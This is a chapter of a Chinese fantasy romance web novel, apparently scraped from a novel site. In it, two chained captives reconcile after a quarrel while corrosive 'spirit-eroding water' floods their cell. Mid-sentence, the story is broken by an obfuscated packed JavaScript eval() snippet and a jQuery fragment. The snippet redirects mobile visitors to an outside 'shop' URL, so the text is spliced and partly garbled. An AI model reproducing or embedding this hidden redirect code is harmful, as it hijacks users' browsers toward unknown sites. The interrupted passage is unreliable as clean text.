文趣网 > 其他小说 > 慕小医师你哄哄她 > 19. 蚀灵水
    沅娘吓了一跳,下意识地拼命抽回手,却被攥得更紧,她瞪大着眼睛看着躺在地上的人,只见他缓缓地坐起身来,漆黑的瞳孔注视了沅娘几秒,很快便认了出来,他怔愣了半瞬,随后松开手,吞吐道:“抱歉,我以为是……”

    “你怎么也……”

    听见那人的声音,沅娘心下明了,重重地送了一口气,竟然是慕允。

    借着那一丝从窗户而过的光线,她只能模糊地看到一丝他面颊的轮廓。不过,慕允的声音她不会听错,嗓音清润,但总是透着一丝拘谨。

    落入困境遇见认识的人的喜悦还未至,沅娘便想起来昨日同慕允吵架的事情,心中仍旧十分委屈、愤怒,不愿同他多说,收回手抱着膝,长长的锁链拖动时发出粗糙的杂音,混着她平静的语气:“你怎么在这里?”

    慕允只记得晕倒之前闻到了一股使人昏迷的香气,回答道:“被迷晕之后就被送到这里来了,你呢?你可是中了迷香晕倒了?”

    沅娘摇头抱怨:“被手法极差的小差在肩头打了一掌。”

    慕允点了点头,又问:“那现在还会难受吗?”

    “不会。”沅娘小声说,用没有很想同他讲话淡淡的语气。

    因为那香制作得粗糙,慕允感觉太阳穴还有些隐隐作痛。他环顾四周,看见这个暗室里面并不是只有他和沅娘两个平奴,还零零散散地关了许多,他们都还昏迷着。

    慕允咬唇思索着,转头之际见到沅娘一股落寞的模样,他恍然记起来前面和她在医馆的时候闹得不愉快,心中一股愧疚之情涌上。

    两人都靠在墙上没有说话。

    慕允耳力目力都极好,在静谧的环境中,听见了似有若无的淙淙的流水声。

    “你可听见了水声没有?”他下意识就问。

    沅娘摇头,眼前一团漆黑,什么都看不见,行动受阻,郁闷的心情堆叠于胸,重重地吐了一口气,不想说话。

    慕允听见了她无奈的叹气声,猜测她心情不好,脑海中这样的想法一出现,心头那股子怪异的感觉瞬间又甚嚣尘上,潺潺流动声在慕允的耳中被无限放大,不过他此时也分不出心思去想这是哪里来的水流声,所有的注意力都被身旁少女静默不语的状态吸引过去。

    慕允垂头思考着如何道歉。

    他还从来没有做过这样的事情,生疏又紧张。

    过去买药的时候,会遇到嚣张跋扈、胡搅蛮缠的客人,但是他都没有出现生气愤怒或是难过委屈的情绪,学着外面摆摊小贩的模样,像客人道歉卖笑,成功送走一尊尊大佛后,他抱着银子铜钱,笑嘻嘻地去看戏去了,那些记忆不过是在他脑海中一闪而过,之后再也没有记起来过。

    可是此时慕允第一次做了充足准备的道歉。

    他本想静悄悄地喊她,只可惜稍微动了动手臂,那生锈厚重的镣铐就发出了哗啦的响声。

    在黑暗的环境里,对声音的感触会变得敏感,沅娘听见了,但没有反应,她正思考着自己最近又得罪谁了,被关在这暗无天日的地方……

    “暗室中还有其他的平奴。”慕允朝向沅娘,试探地开口。

    闻言,沅娘抬眼,往周围看去,但是一片漆黑,伸手不见五指,她有些诧异地转头看向身旁的慕允,问:“你如何知道?我什么都看不清晰。”

    “我的目力极好,我看了一圈,这个暗室中加上我们应该有二十个平奴,都还在昏睡中。暗室很大,他们都零零散散地倒在地上。”

    沅娘点头。

    空气又归于平静,暗流涌动的水声有规律地在看不清的地方流淌着。

    慕允蹙眉,伸手捂着心口,说不清楚的奇怪感觉充斥着全身,他再也忍不住,就着如此寂静的环境,同沅娘道歉:“抱歉,昨日我的态度不好,让你难过了。”

    “我并不难过。”沅娘没有想到他突然提这个事情,转头看他,很快回答了他的话,又觉得自己回答得不好,张了张口,想补上几句,最终还是没有开口,握拳垂眸,将那话咽了下去。

    慕允将她的反应收入眼底,等着她说话,半晌却见她抱着膝转头不语,慕允慌张开口,诚恳道:“是我让你生气了,我同你道歉。”

    “我也并未生气。”沅娘咬唇,很轻地应了句。

    “我……”慕允觉得心头被揪住的陌生感觉实在是太难受了,百虑攒心,他恨自己没有同卖糕点的掌柜多学些说话的技巧,此时出口的话根本来不及过脑子,慌忙地就吐露出来:“那你是同我置气吗?”

    “置气?”沅娘转头,脸上露出有些不理解的神色,她重复着慕允的话,因着看不清他的样貌,也以为慕允看不见她的反应,说话也大胆了些,“你同我是何关系?我为何要置气?从小到大,能够惹我生气的人掰着手指都能数过来,你还排不上呢!”

    “那便是不生气了?”慕允放轻了声音。

    沅娘想起来就这件事就委屈,故意说:“慕小医师医术过人,不需要寻医问诊,自己就能诊治,旁人如何能插手呢?”

    “我并不是这个意思。”慕允垂头,愧疚道。

    沅娘追问:“那你是什么意思?”

    “我……”心头的那股感觉又袭来了,钻心刺骨,如在灵脉处狠狠用细针刺入的疼痛令他蹙起眉头,他轻叹道,“我的意思,就……”

    沅娘见状,怒火中烧:“你卖药之时花言巧语,一到解释事情的时候便结结巴巴半天说不出话。慕允,你是要故意同我作对吗?”

    听见沅娘的话,慕允急了,连忙道:“不是,我怎会同你作对?我只是生了一个怪病,问遍名医,可都看不出来是何病因。”

    “你都没去看过,如何就说医师不会,天下名医数也数不清,医术典籍更是不计其数,我就不信没有办法治疗你的顽疾?”

    慕允小声说:“小的时候看过很多医师都没有用。”

    沅娘震惊地瞪大眼睛:“你小的时候也见到一个人,然后就会吐血?”

    “并不是!”慕允将多年心事全盘托出,“我同你一五一十地解释。”

    “我极少出现这样的情况,或许称不上是顽疾,只是一种异于常人的奇怪反应。”

    他轻叹一口气,缓缓开口:“少时遇到有人欺负一个瘦小的孩童,抢他的吃食,还对他拳打脚踢,我看不过,过去将他救下,但还是敌不过他们人多势众,我同那年仅五岁的平奴都受了很重的伤,他奄奄一息,我给他抓药治病,好不容易救回一条命,结果没有想到,那群混混又去找他的麻烦。”

    “我再次赶过去的时候,他已经咽气了。那个时候我就出现了类似这几日的痛入肌理、千针攒心的感觉,我支撑着一口气将那群混蛋打跑,想着将这个可怜的孤儿找个好地方安葬。”

    黑暗的环境中,慕允的声音清晰地传入沅娘耳中,她脸上的神色渐渐变为怜惜,认真地听着他讲:“我刚要将他背起来,那种感觉越来越强烈,直到支撑不住,我猛吐了一口血,之后再醒来的时候,我已经被医师带回家了。”

    说完,慕允将头垂得很低,脸上尽是落寞的神色,沅娘虽看不清,但是听他的语气也能感受到他的无奈和悲痛,她听着,心中也难过。

    “你可知是何原因?怎么会有人毫无缘由突然就吐血?难道是心口处受过伤?”

    慕允摇头,解释说:“医师给我从头到脚都检查了一遍,没有任何的问题,最后只说是气急攻心。”

    “除了这次,还有其他的情况吗?”沅娘关切地问。

    慕允应着:“有情况比较轻的,但是严重的就几次,昨日是最严重的。”

    “那为何不愿意看医师?”沅娘本就不生慕允的气,只是对他讳疾忌医的举动有些恨铁不成钢,此时听到他说了心里话,也觉得同情,温声问道。

    慕允落寞说:“从小到大一直都在看,妙手回春的大医师也问过,都说不知道是何原因。”

    沅娘说不出话了,费力思索着自己有没有可能在书中看过这样的情况。

    慕允正要同她说自己昨日不是故意的,只是不想她为这样一件没有结果的事情操心,结果还没开口,他就感觉到垂在地面上的手心一凉。

    前面一直充斥在耳边的水流声渐渐变大,水流蓄势待发,不知道从那个地方一股脑全部涌了上来。

    “小娘子,小心。”慕允感受到沾着漫上来的水流后的手指,渐渐出现腐蚀灼烧之感,他惊恐地收回手,急忙提醒身旁的沅娘。

    她看不清周围的景象,闻言,先是愣了愣,伸手支撑身体想要凑近询问他的时候,猛然感到手心一股灼烧感,她这才反应过来不知哪里来的水流已经漫到地面上了,她连忙抽回手,蹙眉,撑着发酸的双腿要起身,却浑身无力,加上沉重的锁链禁锢着,几乎无法动弹。

    “可有出口?”她一边

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761084|207310||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    摸着身后的墙壁,一边问。

    墙壁制作粗糙,没有任何机关或者可以推开的地方。

    慕允摇头,很快否认:“前面借着月光看了看,没有门,出口可能隐蔽在看不见的地方了。”

    这小小的一方天地,竟然是个密不透风的小黑屋。

    沅娘心下传来一阵寒意。

    她试着从那窗口去看看这到底是什么地方,但是手中缠着重重的锁链,她连将手举起来的力气都没有,摸着墙壁试着往上爬,也是徒劳。手指长时间攀着墙壁,竟然被刮出了血,她疼得轻嘶,放弃了往上爬的方法。

    水流渐渐涌了上来,周围传来了轻微的响动,是那些平奴被水流刺激得醒了过来。

    窸窸窣窣衣料的摩擦声先至,惊愕的喊叫交错着迭起,愈演愈烈。

    四周的人都转醒,漆黑的环境中,什么都看不见,只能听见不同的人发出因蚀骨的疼痛发出犀利的喊叫,混着铁链撞击的当啷的摩擦声。

    “到底是谁?为何要抓我们?”

    她有些脱力地靠在墙角,重重地呼吸,她垂头,摸了摸已经中招的手心,表面没有任何的变化,但是能感觉到一股灼热的水流穿过经脉,一点一点腐蚀着,她喃喃道:“蚀灵水……”

    “这是要置我们于死地啊?!”沅娘愤怒道。

    她强迫着自己冷静下来,感受着渐渐要漫过鞋袜的蚀灵水,心中焦灼,即使想了好几种解决的方法,都因为没有灵力无法动手解决,只能站在原地坐以待毙。

    静芳已经跃跃欲试了,她大喊:“主人!我这几日也没有放弃修习,进步很大,应该能够抵挡住这个蚀灵水。”

    沅娘不愿她涉险:“这水威力极大,我害怕你也被它溶了玉灵。”

    慕允在书中看过,蚀灵水,一种极为危险的生长在极寒之地的水。

    此水无色无味,一旦触碰,却能溶蚀身体,外表承受着巨大的痛感,穿进脉络之后,不动声色地开始腐蚀灵脉、契纹、本源,将身体所有可以聚集灵力的地方全部绞杀干净。

    一但沾染此水,接触的地方会传来强烈的刺痛,抽筋剥皮的痛感由沾染处蔓延至全身,苦不堪言。

    沅娘的身体本来就虚弱,颤颤巍巍地站起身,踮起脚躲避着那上涨着的蚀灵水,眉头蹙着,正思考着对策。

    慕允同样往墙角躲着,看着蚀灵水已经漫过鞋尖,他捞起药包,在里面翻找了许久,拿出一颗失了光泽的丹药。

    只见他轻声念诀,丹药从他的手上缓缓地飞了出去,停顿几秒,突然绽放开光泽,向四周照射开来,那光并不刺眼,闪了几秒很快便暗了下去,随后铺在水面上,薄薄的一层将整个暗室的地面铺盖完全,将悄曳而行的水流阻挡在壁垒之下。

    渐渐漫上来的水往上顶着,又被阻碍着往下,只能像只无头苍蝇一样原地打转。

    “能坚持多久?”沅娘问,她急得全身发冷汗,试图用手掰开着绑在手上的锁链,可那锁链坚硬无比,根本没有办法掰开。

    慕允实话道:“原材料太过简陋,此结界丸只能撑几分钟。”

    沅娘咬唇,听着稍微小声了些的喊叫声,如坠冰窟。

    她心中满身疑惑,细汗顺着额角滑落,不解道:“为何要用这么阴毒的方法置我们于死地?”

    慕允也不甚清楚,一醒来就被关在这不见天日的暗室,蚀灵水一旦聚集上来,淹过膝盖处,在场的所有人必死无疑,到底是何人竟然如此心狠手辣。

    “倒还不如直接一剑穿心,一命呜呼来得痛快!”沅娘想起了自己在望泽台上吃的苦,一时间没有忍住,气得狠狠骂道,“想要我的命直接来拿就好了,干什么用这样下作的法子!”

    “静芳,你去找找可有出口?”沅娘托着小小的一块玉佩,她收到命名,亢奋应下,往四周飘去。

    因为周围漆黑一片,它只能摸索着墙壁,重点探查凹凸不平的地方,或许那里会有什么机关能够打开什么密室或是地道,不然这群平奴也不可能凭空出现在这里。

    来回仔仔细细地摸索了一边,连屋顶都去查探了一番,可是一无所获,静芳垂头丧气地飘回到沅娘的身边,同她讲了结果,沅娘安慰它说没有关系,静芳落在她的手心上,垂着脑袋不说话。

    不过,她还没来及从失望破碎的沮丧中出来,就听见了一道清脆的破碎响声。

    结界丸破了……